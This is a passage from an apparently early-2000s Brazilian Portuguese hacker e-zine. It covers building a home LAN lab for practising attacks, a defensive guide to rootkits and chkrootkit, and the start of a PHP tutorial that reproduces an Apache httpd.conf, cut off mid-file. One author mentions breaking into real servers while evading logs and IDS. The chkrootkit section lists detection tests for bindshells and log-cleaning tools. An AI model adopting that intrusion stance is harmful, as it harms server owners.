na 07 o cdigo de bloqueio e na 29 o segundo nmero do seu celular.
As "pginas" vo at 43, fue... ;]

                                                          Morfeu
                                                          morfeu@mail.ru
.:x| -------------------------------------------------------------------|x:.










SETOR [10]
==[ Algumas tecnicas ]==
==[ por sort         ]==

Falae galera do zinesbr, tranquilo?
Estou eu aqui sort, para descrever um minimo projeto meu de casa... que 
sera util a muitos que tiverem o que eu uso.... Bem...
Agora eh soh olhando mesmo....


           #*#     Ataques Locais  #*#


###############Descricao do projeto:#################

Uma pequena lan, possuindo 2 computadores para ser exato...

Configuracoes:

Computador Servidor Planejado:

##########################################################
Pentium 3 	                                         #
1 GHZ					                 #
128 com memoria de ram				         #
Duas placas de rede.. Uma rtl e outra Intel(duh =[ )     #
Cd-rom: 52 X					         #
##########################################################

########################################
Computador Cliente Planejado:	       #
				       #
Pentium 2			       #
200 mhz 			       #
16 de ram                              #
Uma placa de rede rtl	               #
Cd-rom: 24X 			       #	
			               #
			               #	
########################################


########Sistemas:###########


Possiveis sistemas operacionais para a verificacao de seguranca:

* FreeBSD
* Linux
e futramente * OpenBSD

se eu obter sucesso nisso

irei dar uma olhada no * Windows NT


O projeto se basea em desafiar nossos limites, eu instalarei algumas 
plataformas nos dois pcs... ligarei em rede... e atacarei o outro PC...

Cada vez evoluindo mais...
Seria interessante ter um terceiro computador , ai tentariamos ataques 
de spoofing.

########Descricao de um projeto futuro:################

Computadores:

A = > B

A = 1 Ghz
B = 200 MHZ

Futura rede:

A = 1 GHZ
B = 200 MHZ
C = Sem valor...

....
Fariamos algo do tipo


A = > C = > B

Iria isolar o contato de A com B... e usaria C de roteador...

##########################################################

   Fonte de ideia:

Bem.. eh uma ideia complexa. ultimamente... tive uma ideia dessas... eu 
queria tranquilidade e seguranca pra ownar servidores... mas como?
sempre quando eu fucava em uma maq... eu demorava cerca de 5 horas 
madrugando ownando... sem contar que tinha q ter cuidado com os logs e os 
IDS... e a velocidade era baixa pq aki eh modem =[ 

Entao eu parei pra pensar... bem , eu tenho 2 pcs e nao aproveito...

#################################################


* Esquemas:

Vou dar umas dicas a quem quer tentar fazer o mesmo:


Pros que so tem um computador:

Procurem no jornal... pcs velhos, tais como 486, estao saindo por mto 
barato e vale apena... vc compra um desses reforma ele... vai comprando 
pecas com tempo... qnd vc for ver... vc ja tem um pc bom.... eu to fazendo 
isso aki pro PC (C)


* Montando os esquemas:


Compre duas placas vagabundas do modelo 

ENL832-TX
10/100M Fast Ethernet Network Adapter

Instalando as placas:

Desparafuse seu PC, tire a tampa dele q a protege....
pegue o chip e veja em qual slot ele entra
qnd vc achar um q entra... desparafuse o slot... tire a protecaao
e enfie o chip

pra poder ficar com o buraco da placa pra fora....

Faca isso nos dois PCS...


* Compre um fio RJ-45

Interligue os dois PCS com um fio azul, chamado RJ-45...



Pronto =]
Os dois PCS estao ligados... agora basta a configuracao...

No windows... vc o inicia ele detecta... vc poe o disquete q vem junto e 
instala...

Agora no Linux... vc abre o netconfig do slackware... e ele detecta a 
placa como modelo rtl =]


Bem... nao posso falar nada do FreeBSD e do OpenBSD ainda, apesar de eu 
estar escrevendo esse texto do FreeBSD , eu nao tenho experiencia 
suficiente para ensinar algo que nao domino com *PERFEICAO*

Bem amigos, chegamos a mais um final...Vou continuar estudando, fucando e 
trago mais ideias e informacoes a vcs todos fucadores =]

Um abraco a todos,
sort.

                                                     sort
                                                     sort005@yahoo.com.br
.:x| -------------------------------------------------------------------|x:.










SETOR [11]
==[ Os RootKits ]==
==[ por Gotoxy  ]==

###############
# OS ROOTKITS #
###############

t0pics:
 
1. Introducao
2. Rootkits
3. Protecao
   3.1. Chkrootkit
4. Terminando 



##################################################################
|1| ######################### Introducao #########################

  Vou estar falando aki um pouco sobre como se proteger de 
Rootkits. Estou fazendo esse texto devido a um problema que ocorreu
com um mano meu!! (Eu ainda avisei para ele nao executar programas 
desconhecidos como root.. mas ele desobedeceu) :p! 
  Isso aki deve ajudar a muitos, portanto leia com atencaum!!


##################################################################
\2/ ######################## Rootkits ############################
 
Antes de tudo vou comecar falando do que se trata Rootkits! Bem,
Rootkits sao programas que visam esconder uma backdoor em um sistema.
Voce instalando uma backdoor em uma makina, e depois instalando um
rootkit, as chances do admin(leigo) encontrar a backdoor sao minimas, 
pois o rootkit deixa a bakdor "invisivel" no sistema, dificultando
assim sua deteccao e remocao.
Os Rootkits escritos em LKM(Loadable Kernel Module)
sao os mais poderosos, pois como eles trabalham no Kernel Space,
eles utilizam tecnicas que nao deixam rastros do invasor; tecnicas
que carregam modulos e os deixam em oculto(stealth) (desta forma,
se alguem(como por exemplo o admin) digitar lsmod, nao vera o modulo
escondido pelo rookit), entre outras tecnicas que os Rootkits em
LKM utilizam para deixar o invasor "invisivel" (entre aspas) no sys.

  Resumindo: Rootkits sao muito poderosos, e se instalado em seu
sistema, pode causar grandes danos no mesmo.
  
  Como aqui eu estou ensinando apenas como se proteger de Rootkits,
eu nao vou falar mais nada sobre Rootkits e vou deixar para escreve um 
texto "completo" num futuro proximo sobre essas poderosas ferramentas.



##################################################################
\3\ ######################### Protecao ###########################

  Neste texto, vou estar abordando um tema bastante importante: se 
protegendo de rootkits! 


##################################################################
[3.1] ####################### Chkrootkit #########################

CHKROOTKIT eh um programa que vasculha seu sistema localmente
em busca de rootkits instalado no mesmo. Na versao 0.33(lasT), ele
busca por rootkits escritos em LKM, olha se sua placa de rede esta 
em modo promiscuo (atraves do programa ifpromisc.c, que vem junto
ao chkrootkit), ele tambem tem 2 programas para checar os logs,sao
eles: chklastlog.c (para checar se houve modificao no lastlog) e
o chkwtmp.c (para checar se houve modificao no wtmp), entre outras
coisas.  

instalacao
----------

Pegue o Chkrootkit no site da PacketStorm (packetstormsecurity.org),
sua ultima versao eh a 0.33. Apos downloada-lo, basta
partir para a instalacao:

-> descompactando
   
 ~# tar -zxvf chkrootkit-0.33.tar.gz
chkrootkit-0.33/
chkrootkit-0.33/COPYRIGHT
chkrootkit-0.33/Makefile
chkrootkit-0.33/README.chklastlog
chkrootkit-0.33/README.chkwtmp
chkrootkit-0.33/chklastlog.c
chkrootkit-0.33/chkproc.c
chkrootkit-0.33/chkrootkit
chkrootkit-0.33/chkrootkit.lsm
chkrootkit-0.33/chkwtmp.c
chkrootkit-0.33/ifpromisc.c

sera criado um diretorio chamado chkrootkit-0.33.. entre nele e dps 
digite make para instalar:

 ~# cd chkrootkit-0.33; make

Apos voce digitar "make", o chkrootkit vai compilar 4 programas, sao 
eles:

ifpromisc.c -> checa se a interface esta em modo promiscuo
chkwtmp.c  -> checa por modificao no wtmp
chklastlog.c -> checa por modificao no lastlog 
chkproc.c -> checa por sinais de trojans em LKM 


-> execucao

  depois de compilado, vc ja pode executa-lo:

~# ./chkrootkit


O Chkrootkit olha se tem sniffers instalado em seu sistema, ele checa
se existe rootkits em LKM, verifica se a interface esta em modo promiscuo,
procura por alteracoes em varios programas, etc... 

Os programas abaixos eh a lista dos programas q o chkrookit checa para
ver se eles estao trojanados:

amd, basename, biff, chfn, chsh, cron, date, du, dirname, 
echo, egrep, env, find, fingerd, gpm, grep, su, ifconfig, 
inetd, identd, killall, login, ls, mail, mingetty, netstat, 
named, passwd, pidof, pop2, pop3, ps, pstree, rpcinfo, 
rlogind, rshd, slogin, sendmail, sshd, syslogd, tar, tcpd, 
top, telnetd, timed, traceroute, write

Ele tb procura por programas no seu sistema, tais como
sniffers, z2 (akele programa que limpa os logs), ele
tb se alguma porta foi bindada(bindshell), ve tb se
o seu sistema possui algum worm instalado (LPD, Lion
e Ramen),etc... Os seguintes testes sao feitos:

asp bindshell z2 wted rexedcs sniffer aliens lkm


finalizando
-----------

  Como podem perceber, ele eh muito eficiente e convem usa-lo!


##################################################################
.4. ######################## Terminando ##########################

  O texto vai terminando por aqui.. e assim como eu disse em algumas
linhas acima, eu vou fazer um texto "completo" sobre os famosos
rootkits existentes hoje em dia (os feitos em LKM, pois sao os 
mais poderosos)..
  Aguardem e ate' la!   

                                                   Gotoxy
                                                   gotoxy@linuxbr.com.br
.:x| -------------------------------------------------------------------|x:.










SETOR [12]
==[ PHP - Parte I ]==
==[ por sort      ]==


Primeiramente, devo mandar um abraco a todos que vem lutando nessa batalha
do hacking, ao grupo de hacking do rio =]
Nao soh como o do rio, a todos os grupos de hacking, o hacking eh eterno,
vida longa ao hacking =]

   Mas eu confesso que eu a um tempo atras inventei que queria fazer tudo
sozinho e tentar virar fucador, percebi , q vc nao pode mudar assim do
nada, eu reconheco, o trabalho em grupo, eh mto melhor que um separado,
entao irmaos, uma longa mensagem pra vcs:

UNIAO....

   Bem, chega de mais palavras, to aki agora no zinesbr pra falar que
larguei um poko de perl e to aki eu, aprendendo php, me interessei, pq eh
uma linguagem dinamica, perfeita pra vendas de sites... me interessei ,
por interesse proprio e mais um pequeno detalhe, php da emprego  =] Entao
eu como sou menor ainda, tenho que comecar a olhar o lado da vida, ja mais
serio.... Crie a sua propria etica e siga em frente... mas sempre visando
o aprendizado e sem prejudicar alguem =] papito, eh nois... =]



#############################################################################

1- O que eh php?
2- Pq aprender php?
3- Configurando apache no linux com suporte a php
4- Como codar em php.
5- Escrevendo sua primeira frase usando php
6- Mexendo com suas variaveis
7- Fim

###############################################################################


1- O que eh php?

Php eh nada mais nada menos, que uma linguagem interativa que roda em
muitas plataformas, ela eh dinamica, projetada para sites grandes... optei
usar php ao inves de asp, pq eu nao kero perder um grande tempo da minha
vida estudando uma linguagem q eh apenas programavel no windows nt.... PHP
roda em varias plataformas =]
 Php hj em dia vem sido mto utilizado, leia sobre mysql , vai ajudar com
php.... se liga nisso:

conhecimentos de php + conhecimentos de mysql = Emprego garantido =]

O gotoxy fez um texto sobre mysql, agora eu vou comecar a fazer um
cursinho de php rula =]

Entao trate de ler caro fucador =]

O que se sabe nunca eh o bastante.... Lembre-se disso!


2- Pq aprender php?

Pelos simples fatos, que aprender sempre mais uma linguagem eh muito
bom... e alem do mais se vc estiver afim de programar um site legal,
usando banco de dados, vc usa php, e se uma empresa de vendas estiver
precisando fazer vendas pela internet, vc pega faz o site dela, constroe o
esquema de tabelas no mysql e roda o .php usando os formularios =]
e sua graninha vai saindo...
uma pessoa sempre me disse " una o util ao agradavel "
vc ganha dinheiro fazendo algo que gosta... =]


3- Configurando apache no linux com suporte a php

1)Vc precisa reconfigurar seu apache

1-logue como root

2-Edite um arkivo com o conteudo httpd.conf e coloque-o no /etc/apache
o conteudo dele segue abaixo....

3- Apos subistituir os arkivos httpd.conf que se localizam no /etc/apache
digite
# apachectl start

Pronto o apache se iniciou com suporte a php =]

Code =>                 httpd.conf              <=Code


##
## httpd.conf -- Apache HTTP server configuration file
##

#
# Based upon the NCSA server configuration files originally by Rob McCool.
#
# This is the main Apache server configuration file.  It contains the
# configuration directives that give the server its instructions.
# See <URL:http://www.apache.org/docs/> for detailed information about
# the directives.
#
# Do NOT simply read the instructions in here without understanding
# what they do.  They're here only as hints or reminders.  If you are unsure
# consult the online docs. You have been warned.  
#
# After this file is processed, the server will look for and process
# /usr/conf/srm.conf and then /usr/conf/access.conf
# unless you have overridden these with ResourceConfig and/or
# AccessConfig directives here.
#
# The configuration directives are grouped into three basic sections:
#  1. Directives that control the operation of the Apache server process as a
#     whole (the 'global environment').
#  2. Directives that define the parameters of the 'main' or 'default' server,
#     which responds to requests that aren't handled by a virtual host.
#     These directives also provide default values for the settings
#     of all virtual hosts.
#  3. Settings for virtual hosts, which allow Web requests to be sent to
#     different IP addresses or hostnames and have them handled by the
#     same Apache server process.
#
# Configuration and logfile names: If the filenames you specify for many
# of the server's control files begin with "/" (or "drive:/" for Win32), the
# server will use that explicit path.  If the filenames do *not* begin
# with "/", the value of ServerRoot is prepended -- so "logs/foo.log"
# with ServerRoot set to "/usr/local/apache" will be interpreted by the
# server as "/usr/local/apache/logs/foo.log".
#

### Section 1: Global Environment
#
# The directives in this section affect the overall operation of Apache,
# such as the number of concurrent requests it can handle or where it
# can find its configuration files.
#

#
# ServerType is either inetd, or standalone.  Inetd mode is only supported on
# Unix platforms.
#
ServerType standalone

#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# NOTE!  If you intend to place this on an NFS (or otherwise network)
# mounted filesystem then please read the LockFile documentation
# (available at <URL:http://www.apache.org/docs/mod/core.html#lockfile>);
# you will save yourself a lot of trouble.
#
ServerRoot "/usr"

#
# The LockFile directive sets the path to the lockfile used when Apache
# is compiled with either USE_FCNTL_SERIALIZED_ACCEPT or
# USE_FLOCK_SERIALIZED_ACCEPT. This directive should normally be left at
# its default value. The main reason for changing it is if the logs
# directory is NFS mounted, since the lockfile MUST BE STORED ON A LOCAL
# DISK. The PID of the main server process is automatically appended to
# the filename. 
#
#LockFile /var/run/httpd.lock

#
# PidFile: The file in which the server should record its process
# identification number when it starts.
#
PidFile /var/run/httpd.pid

#
# ScoreBoardFile: File used to store internal server process information.
# Not all architectures require this.  But if yours does (you'll know because
# this file will be  created when you run Apache) then you *must* ensure that
# no two invocations of Apache share the same scoreboard file.
#
ScoreBoardFile /var/run/httpd.scoreboard

#
# In the standard configuration, the server will process httpd.conf (this 
# file, specified by the -f command line option), srm.conf, and access.conf 
# in that order.  The latter two files are now distributed empty, as it is 
# recommended that all directives be kept in a single file for simplicity.  
# The commented-out values below are the built-in defaults.  You can have the 
# server ignore these files altogether by using "/dev/null" (for Unix) or
# "nul" (for Win32) for the arguments to the directives.
#
#ResourceConfig conf/srm.conf
#AccessConfig conf/access.conf

#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 300

#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On

#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 100

#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 15

#
# Server-pool size regulation.  Rather than making you guess how many
# server processes you need, Apache dynamically adapts to the load it
# sees --- that is, it tries to maintain enough server processes to
# handle the current load, plus a few spare servers to handle transient
# load spikes (e.g., multiple simultaneous requests from a single
# Netscape browser).
#
# It does this by periodically checking how many servers are waiting
# for a request.  If there are fewer than MinSpareServers, it creates
# a new spare.  If there are more than MaxSpareServers, some of the
# spares die off.  The default values are probably OK for most sites.
#
MinSpareServers 5
MaxSpareServers 10

#
# Number of servers to start initially --- should be a reasonable ballpark
# figure.
#
StartServers 5

#
# Limit on total number of servers running, i.e., limit on the number
# of clients who can simultaneously connect --- if this limit is ever
# reached, clients will be LOCKED OUT, so it should NOT BE SET TOO LOW.
# It is intended mainly as a brake to keep a runaway server from taking
# the system with it as it spirals down...
#
MaxClients 150

#
# MaxRequestsPerChild: the number of requests each child process is
# allowed to process before the child dies.  The child will exit so
# as to avoid problems after prolonged use when Apache (and maybe the
# libraries it uses) leak memory or other resources.  On most systems, this
# isn't really needed, but a few (such as Solaris) do have notable leaks
# in the libraries. For these platforms, set to something like 10000
# or so; a setting of 0 means unlimited.
#
# NOTE: This value does not include keepalive requests after the initial
#       request per connection. For example, if a child process handles
#       an initial request and 10 subsequent "keptalive" requests, it
#       would only count as 1 request towards this limit.
#
MaxRequestsPerChild 0

#
# Listen: Allows you to bind Apache to specific IP addresses and/or
# ports, in addition to the default. See also the <VirtualHost>
# directive.
#
#Listen 3000
#Listen 12.34.56.78:80

#
# BindAddress: You can support virtual hosts with this option. This directive
# is used to tell the server which IP address to listen to. It can either
# contain "*", an IP address, or a fully qualified Internet domain name.
# See also the <VirtualHost> and Listen directives.
#
#BindAddress *

#
# Dynamic Shared Object (DSO) Support
#
# To be able to use the functionality of a module which was built as a DSO you
# have to place corresponding `LoadModule' lines at this location so the
# directives contained in it are actually available _before_ they are used.
# Please read the file README.DSO in the Apache 1.3 distribution for more
# details about the DSO mechanism and run `httpd -l' for the list of already
# built-in (statically linked and thus always available) modules in your httpd
# binary.
#
# Note: The order in which modules are loaded is important.  Don't change
# the order below without expert advice.
#
# Example:
# LoadModule foo_module libexec/mod_foo.so
LoadModule vhost_alias_module libexec/mod_vhost_alias.so
LoadModule env_module         libexec/mod_env.so
LoadModule define_module      libexec/mod_define.so
LoadModule config_log_module  libexec/mod_log_config.so
LoadModule mime_magic_module  libexec/mod_mime_magic.so
LoadModule mime_module        libexec/mod_mime.so
LoadModule negotiation_module libexec/mod_negotiation.so
LoadModule status_module      libexec/mod_status.so
LoadModule info_module        libexec/mod_info.so
LoadModule includes_module    libexec/mod_include.so
LoadModule autoindex_module   libexec/mod_autoindex.so
LoadModule dir_module         libexec/mod_dir.so
LoadModule cgi_module         libexec/mod_cgi.so
LoadModule asis_module        libexec/mod_asis.so
LoadModule imap_module        libexec/mod_imap.so
LoadModule action_module      libexec/mod_actions.so
LoadModule speling_module     libexec/mod_speling.so
LoadModule userdir_module     libexec/mod_userdir.so
LoadModule alias_module       libexec/mod_alias.so
LoadModule rewrite_module     libexec/mod_rewrite.so
LoadModule access_module      libexec/mod_access.so
LoadModule auth_module        libexec/mod_auth.so
LoadModule anon_auth_module   libexec/mod_auth_anon.so
LoadModule dbm_auth_module    libexec/mod_auth_dbm.so
LoadModule digest_module      libexec/mod_digest.so
LoadModule proxy_module       libexec/libproxy.so
LoadModule cern_meta_module   libexec/mod_cern_meta.so
LoadModule expires_module     libexec/mod_expires.so
LoadModule headers_module     libexec/mod_headers.so
LoadModule usertrack_module   libexec/mod_usertrack.so
LoadModule unique_id_module   libexec/mod_unique_id.so
LoadModule setenvif_module    libexec/mod_setenvif.so

#  Reconstruction of the complete module list from all available modules
#  (static and shared ones) to achieve correct module execution order.
#  [WHENEVER YOU CHANGE THE LOADMODULE SECTION ABOVE UPDATE THIS, TOO]
ClearModuleList
AddModule mod_vhost_alias.c
AddModule mod_env.c
AddModule mod_define.c
AddModule mod_log_config.c
AddModule mod_mime_magic.c
AddModule mod_mime.c
AddModule mod_negotiation.c
AddModule mod_status.c
AddModule mod_info.c
AddModule mod_include.c
AddModule mod_autoindex.c
AddModule mod_dir.c
AddModule mod_cgi.c
AddModule mod_asis.c
AddModule mod_imap.c
AddModule mod_actions.c
AddModule mod_speling.c
AddModule mod_userdir.c
AddModule mod_alias.c
AddModule mod_rewrite.c
AddModule mod_access.c
AddModule mod_auth.c
AddModule mod_auth_anon.c
AddModule mod_auth_dbm.c
AddModule mod_digest.c
AddModule mod_proxy.c
AddModule mod_cern_meta.c
AddModule mod_expires.c
AddModule mod_headers.c
AddModule mod_usertrack.c
AddModule mod_unique_id.c
AddModule mod_so.c
AddModule mod_setenvif.c

#
# ExtendedStatus controls whether Apache will generate "full" status
# information (ExtendedStatus On) or just basic information (ExtendedStatus
# Off) when the "server-status" handler is called. The default is Off.
#
#ExtendedStatus On

### Section 2: 'Main' server configuration
#
# The directives in this section set up the values used by the 'main'
# server, which responds to any requests that aren't handled by a
# <VirtualHost> definition.  These values also provide defaults for
# any <VirtualHost> containers you may define later in the file.
#
# All of these directives may appear inside <VirtualHost> containers,
# in which case these default settings will be overridden for the
# virtual host being defined.
#

#
# If your ServerType directive (set earlier in the 'Global Environment'
# section) is set to "inetd", the next few directives don't have any
# effect since their settings are defined by the inetd configuration.
# Skip ahead to the ServerAdmin directive.
#

#
# Port: The port to which the standalone server listens. For
# ports < 1023, you will need httpd to be run as root initially.
#
Port 80

#
# If you wish httpd to run as a different user or group, you must run
# httpd as root initially and it will switch.  
#
# User/Group: The name (or #number) of the user/group to run httpd as.
#  . On SCO (ODT 3) use "User nouser" and "Group nogroup".
#  . On HPUX you may not be able to use shared memory as nobody, and the
#    suggested workaround is to create a user www and use that user.
#  NOTE that some kernels refuse to setgid(Group) or semctl(IPC_SET)
#  when the value of (unsigned)Group is above 60000; 
#  don't use Group nobody on these systems!
#
User nobody
Group nobody

#
# ServerAdmin: Your address, where problems with the server should be
# e-mailed.  This address appears on some server-generated pages, such
# as error documents.
#
ServerAdmin root@kevlar.example.net

#
# ServerName allows you to set a host name which is sent back to clients for
# your server if it's different than the one the program would get (i.e., use
# "www" instead of the host's real name).
#
# Note: You cannot just invent host names and hope they work. The name you 
# define here must be a valid DNS name for your host. If you don't understand
# this, ask your network administrator.
# If your host doesn't have a registered DNS name, enter its IP address here.
# You will have to access it by its address (e.g., http://123.45.67.89/)
# anyway, and this will make redirections work in a sensible way.
#
# 127.0.0.1 is the TCP/IP local loop-back address, often named localhost. Your 
# machine always knows itself by this address. If you use Apache strictly for 
# local testing and development, you may use 127.0.0.1 as the server name.
#
ServerName www.sort.com.br

#
# DocumentRoot: The directory out of which you will serve your
# documents. By default, all requests are taken from this directory, but
# symbolic links and aliases may be used to point to other locations.
#
DocumentRoot "/var/www/htdocs"

#
# Each directory to which Apache has access, can be configured with respect
# to which services and features are allowed and/or disabled in that
# directory (and its subdirectories). 
#
# First, we configure the "default" to be a very restrictive set of 
# permissions.  
#
<Directory />
    Options FollowSymLinks
    AllowOverride None
</Directory>

#
# Note that from this point forward you must specifically allow
# particular features to be enabled - so if something's not working as
# you might expect, make sure that you have specifically enabled it
# below.
#

#
# This should be changed to whatever you set DocumentRoot to.
#
<Directory "/var/www/htdocs">

#
# This may also be "None", "All", or any combination of "Indexes",
# "Includes", "FollowSymLinks", "ExecCGI", or "MultiViews".
#
# Note that "MultiViews" must be named *explicitly* --- "Options All"
# doesn't give it to you.
#
    Options Indexes FollowSymLinks MultiViews

#
# This controls which options the .htaccess files in directories can
# override. Can also be "All", or any combination of "Options", "FileInfo", 
# "AuthConfig", and "Limit"
#
    AllowOverride None

#
# Controls who can get stuff from this server.
#
    Order allow,deny
    Allow from all
</Directory>

#
# UserDir: The name of the directory which is appended onto a user's home
# directory if a ~user request is received.
#
<IfModule mod_userdir.c>
    UserDir public_html
</IfModule>

#
# Control access to UserDir directories.  The following is an example
# for a site where these directories are restricted to read-only.
#
#<Directory /home/*/public_html>
#    AllowOverride FileInfo AuthConfig Limit
#    Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec
#    <Limit GET POST OPTIONS PROPFIND>
#        Order allow,deny
#        Allow from all
#    </Limit>
#    <LimitExcept GET POST OPTIONS PROPFIND>
#        Order deny,allow
#        Deny from all
#    </LimitExcept>
#</Directory>

#
# DirectoryIndex: Name of the file or files to use as a pre-written HTML
# directory index.  Separate multiple entries with spaces.
#
<IfModule mod_dir.c>
    DirectoryIndex index.html
</IfModule>

#
# AccessFileName: The name of the file to look for in each directory
# for access control information.
#
AccessFileName .htaccess

#
# The following lines prevent .htaccess files from being viewed by
# Web clients.  Since .htaccess files often contain authorization
# information, access is disallowed for security reasons.  Comment
# these lines out if you want Web visitors to see the contents of
# .htaccess files.  If you change the AccessFileName directive above,
# be sure to make the corresponding changes here.
#
# Also, folks tend to use names such as .htpasswd for password
# files, so this will protect those as well.
#
<Files ~ "^\.ht">
    Order allow,deny
    Deny from all
</Files>

#
# CacheNegotiatedDocs: By default, Apache sends "Pragma: no-cache" with each
# document that was negotiated on the basis of content. This asks proxy
# servers not to cache the document. Uncommenting the following line disables
# this behavior, and proxies will be allowed to cache the documents.
#
#CacheNegotiatedDocs

#
# UseCanonicalName:  (new for 1.3)  With this setting turned on, whenever
# Apache needs to construct a self-referencing URL (a URL that refers back
# to the server the response is coming from) it will use ServerName and
# Port to form a "canonical" name.  With this setting off, Apache will
# use the hostname:port that the client supplied, when possible.  This
# also affects SERVER_NAME and SERVER_PORT in CGI scripts.
#
UseCanonicalName On

#
# TypesConfig describes where the mime.types file (or equivalent) is
# to be found.
#
<IfModule mod_mime.c>
    TypesConfig /etc/apache/mime.types
</IfModule>

#
# DefaultType is the default MIME type the server will use for a document
# if it cannot otherwise determine one, such as from filename extensions.
# If your server contains mostly text or HTML documents, "text/plain" is
# a good value.  If most of your content is binary, such as applications
# or images, you may want to use "application/octet-stream" instead to
# keep browsers from trying to display binary files as though they are
# text.
#
DefaultType text/plain

#
# The mod_mime_magic module allows the server to use various hints from the
# contents of the file itself to determine its type.  The MIMEMagicFile
# directive tells the module where the hint definitions are located.
# mod_mime_magic is not part of the default server (you have to add
# it yourself with a LoadModule [see the DSO paragraph in the 'Global
# Environment' section], or recompile the server and include mod_mime_magic
# as part of the configuration), so it's enclosed in an <IfModule> container.
# This means that the MIMEMagicFile directive will only be processed if the
# module is part of the server.
#
<IfModule mod_mime_magic.c>
    MIMEMagicFile /etc/apache/magic
</IfModule>

#
# HostnameLookups: Log the names of clients or just their IP addresses
# e.g., www.apache.org (on) or 204.62.129.132 (off).
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on, since enabling it means that
# each client request will result in AT LEAST one lookup request to the
# nameserver.
#
HostnameLookups Off

#
# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here.  If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog /var/log/apache/error_log

#
# LogLevel: Control the number of messages logged to the error_log.
# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.
#
LogLevel warn

#
# The following directives define some format nicknames for use with
# a CustomLog directive (see below).
#
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %b" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent

#
# The location and format of the access logfile (Common Logfile Format).
# If you do not define any access logfiles within a <VirtualHost>
# container, they will be logged here.  Contrariwise, if you *do*
# define per-<VirtualHost> access logfiles, transactions will be
# logged therein and *not* in this file.
#
CustomLog /var/log/apache/access_log common

#
# If you would like to have agent and referer logfiles, uncomment the
# following directives.
#
#CustomLog /var/log/apache/referer_log referer
#CustomLog /var/log/apache/agent_log agent

#
# If you prefer a single logfile with access, agent, and referer information
# (Combined Logfile Format) you can use the following directive.
#
#CustomLog /var/log/apache/access_log combined

#
# Optionally add a line containing the server version and virtual host
# name to server-generated pages (error documents, FTP directory listings,
# mod_status and mod_info output etc., but not CGI generated documents).
# Set to "EMail" to also include a mailto: link to the ServerAdmin.
# Set to one of:  On | Off | EMail
#
ServerSignature On

# EBCDIC configuration:
# (only for mainframes using the EBCDIC codeset, currently one of:
# Fujitsu-Siemens' BS2000/OSD, IBM's OS/390 and IBM's TPF)!!
# The following default configuration assumes that "text files"
# are stored in EBCDIC (so that you can operate on them using the
# normal POSIX tools like grep and sort) while "binary files" are
# stored with identical octets as on an ASCII machine.
#
# The directives are evaluated in configuration file order, with
# the EBCDICConvert directives applied before EBCDICConvertByType.
#
# If you want to have ASCII HTML documents and EBCDIC HTML documents
# at the same time, you can use the file extension to force
# conversion off for the ASCII documents:
# > AddType       text/html .ahtml
# > EBCDICConvert Off=InOut .ahtml
#
# EBCDICConvertByType  On=InOut text/* message/* multipart/*
# EBCDICConvertByType  On=In    application/x-www-form-urlencoded
# EBCDICConvertByType  On=InOut application/postscript model/vrml
# EBCDICConvertByType Off=InOut */*


#
# Aliases: Add here as many aliases as you need (with no limit). The format is 
# Alias fakename realname
#
<IfModule mod_alias.c>

    #
    # Note that if you include a trailing / on fakename then the server will
    # require it to be present in the URL.  So "/icons" isn't aliased in this
    # example, only "/icons/".  If the fakename is slash-terminated, then the 
    # realname must also be slash terminated, and if the fakename omits the 
    # trailing slash, the realname must also omit it.
    #
    Alias /icons/ "/var/www/icons/"

    <Directory "/var/www/icons">
        Options Indexes MultiViews
        AllowOverride None
        Order allow,deny
        Allow from all
    </Directory>

    #
    # ScriptAlias: This controls which directories contain server scripts.
    # ScriptAliases are essentially the same as Aliases, except that
    # documents in the realname directory are treated as applications and
    # run by the server when requested rather than as documents sent to the client.
    # The same rules about trailing "/" apply to ScriptAlias directives as to
    # Alias.
    #
    ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"

    #
    # "/var/www/cgi-bin" should be changed to whatever your ScriptAliased
    # CGI directory exists, if you have that configured.
    #
    <Directory "/var/www/cgi-bin">
        AllowOverride None
        Options None
        Order allow,deny
        Allow from all
    </Directory>

</IfModule>
# End of aliases.

#
# Redirect allows you to tell clients about documents which used to exist in
# your server's namespace, but do not anymore. This allows you to tell the
# clients where to look for the relocated document.
# Format: Redirect old-URI new-URL
#

#
# Directives controlling the display of server-generated directory listings.
#
<IfModule mod_autoindex.c>

    #
    # FancyIndexing is whether you want fancy directory indexing or standard
    #
    IndexOptions FancyIndexing

    #
    # AddIcon* directives tell the server which icon to show for different
    # files or filename extensions.  These are only displayed for
    # FancyIndexed directories.
    #
    AddIconByEncoding (CMP,/icons/compressed.gif) x-compress x-gzip

    AddIconByType (TXT,/icons/text.gif) text/*
    AddIconByType (IMG,/icons/image2.gif) image/*
    AddIconByType (SND,/icons/sound2.gif) audio/*
    AddIconByType (VID,/icons/movie.gif) video/*

    AddIcon /icons/binary.gif .bin .exe
    AddIcon /icons/binhex.gif .hqx
    AddIcon /icons/tar.gif .tar
    AddIcon /icons/world2.gif .wrl .wrl.gz .vrml .vrm .iv
    AddIcon /icons/compressed.gif .Z .z .tgz .gz .zip
    AddIcon /icons/a.gif .ps .ai .eps
    AddIcon /icons/layout.gif .html .shtml .htm .pdf
    AddIcon /icons/text.gif .txt
    AddIcon /icons/c.gif .c
    AddIcon /icons/p.gif .pl .py
    AddIcon /icons/f.gif .for
    AddIcon /icons/dvi.gif .dvi
    AddIcon /icons/uuencoded.gif .uu
    AddIcon /icons/script.gif .conf .sh .shar .csh .ksh .tcl
    AddIcon /icons/tex.gif .tex
    AddIcon /icons/bomb.gif core

    AddIcon /icons/back.gif ..
    AddIcon /icons/hand.right.gif README
    AddIcon /icons/folder.gif ^^DIRECTORY^^
